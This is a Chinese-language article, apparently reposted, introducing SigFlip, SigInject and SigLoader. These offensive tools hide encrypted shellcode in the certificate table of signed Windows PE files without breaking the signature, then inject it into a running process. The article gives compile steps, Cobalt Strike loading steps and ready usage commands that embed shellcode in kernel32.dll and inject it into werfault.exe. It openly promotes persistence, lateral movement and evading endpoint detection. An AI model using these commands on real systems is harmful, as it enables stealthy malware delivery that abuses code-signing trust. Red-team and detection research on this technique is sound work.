SigFlip如何篡改身份認證碼簽名的PE檔案

導讀	SigFlip是一款能夠篡改經過身份認證碼簽名的PE檔案（exe、dll、sys等）的工具，而且整個過程不會影響或破壞已有的身份認證碼簽名。

SigFlip是一款能夠篡改經過身份認證碼簽名的PE檔案(exe、dll、sys等)的工具，而且整個過程不會影響或破壞已有的身份認證碼簽名。換句話來說，就是我們可以使用SigFlip向PE檔案中嵌入資料(比如 code)，並且再不會破壞檔案簽名、完整性檢查或PE檔案功能的情況下，修改PE檔案的校驗和或雜湊。

SigInject元件可以將Shellcode注入至PE檔案的[WIN_CERTIFICATE]證照表中，並輸出加密金鑰以便配合BOF/C/C#載入器(SigLoader)一起使用。SigInject將儲存針對PE檔案的修改操作，並保證其簽名和證照有效性不變。

SigLoader是一個基礎載入器，它採用SigInject建立的修改後的PE檔案路徑和解密金鑰作為引數，然後提取和解密嵌入的Shellcode，以供選擇Shellcode注入使用。

SigFlip將檢查PE雜湊是否已成功更改，然後退出以繞過終端針對此類行為的檢查。

SigFlip可以用於持久化感染、橫向滲透以及 /程式碼執行等場景。

注意事項：igFlip、SigInject和SigLoader將以BOF 和.NET程式集提供。

廣大研究人員可以使用下列 將該專案原始碼克隆至本地：

git clone 

本專案並沒有提供預編譯的BOF，我們可以使用Mingw-w64來進行編譯。如果是.NET，可以使用VS或csc.exe來編譯.NET專案(SigFlip、SigLoader);如果是BOF，請按照下列步驟操作：

➜ i686-w64-mingw32-gcc -c sigflip.c -o sigflip.x86.o 
 
➜ x86_64-w64-mingw32-gcc -c sigflip.c -o sigflip.x64.o 
 
➜ x86_64-w64-mingw32-gcc -c SigLoader/sigloader.c -o sigloader.x64.o 
 
➜ i686-w64-mingw32-gcc -c SigLoader/sigloader.c -o sigloader.x86.o

確保所有的物件檔案都儲存在sigflip.cna的相同目錄下，然後在Cobalt Strike中載入sigflip.cna。

注意事項：預編譯的BOF使用的是mingw-64 v8.0.0_3，如果你所使用的mingw-64 >= v9，可能會出現崩潰的情況。

執行程式集：

execute-assembly SigFlip.exe -h 
 
execute-assembly SigLoader -h

BOF：

當我們在Cobalt Strike中載入sigflip.cna了之後，將會註冊兩個新命令，我們此時就能夠以下列方式使用SigFlip和SigInject了。

• SigFlip：在不破壞簽名或證照有效性的情況下，修改PE檔案雜湊：

  SigFlip "" ""

• SigInject：向PE檔案的[WIN_CERTIFICATE]證照表中注入加密的Shellcode，列印的加密金鑰可以跟基礎C/C#載入器結合使用以保證簽名和證照的完整性：

  SigInject "" ""

• SigLoader：從PE檔案中載入由SigInject加密的Shellcode，然後使用Early Bird向指定程式注入Shellcode，我們可以自定義Shellcode的注入邏輯，或直接替換目的碼：

  SigLoader

(1) BOF

向msbuild.exe注入隨機資料：

SigFlip "C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe" "C:\lolbins\modified-msbuild.exe"

向kernel32.ell注入Shellcode：

SigInject "C:\Windows\System32\kernel32.dll" "C:\random\modified-kernel32.dll" "C:\shellcode\cobaltstrike_or_msf_shellcode.bin" 
 
Sigloader "C:\random\modified-kernel32.dll" "DECRYPTION_KEY" "C:\Windows\System32\werfault.exe" 6300

(2) 執行程式集

向msbuild.exe注入隨機資料：

execute-assembly SigFlip.exe -b C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe -o C:\Temp\MSBuild.exe

向kernel32.ell注入Shellcode：

execute-assembly SigFlip.exe -i C:\Windows\System32\kernel32.dll -s C:\Temp\x86shellcode.bin -o C:\Temp\kernel32.dll -e TestSecretKey 
 
execute-assembly SigLoader.exe -f C:\Temp\modified-kernel32.dll -e TestSecretKey -pid 2354

原文來自：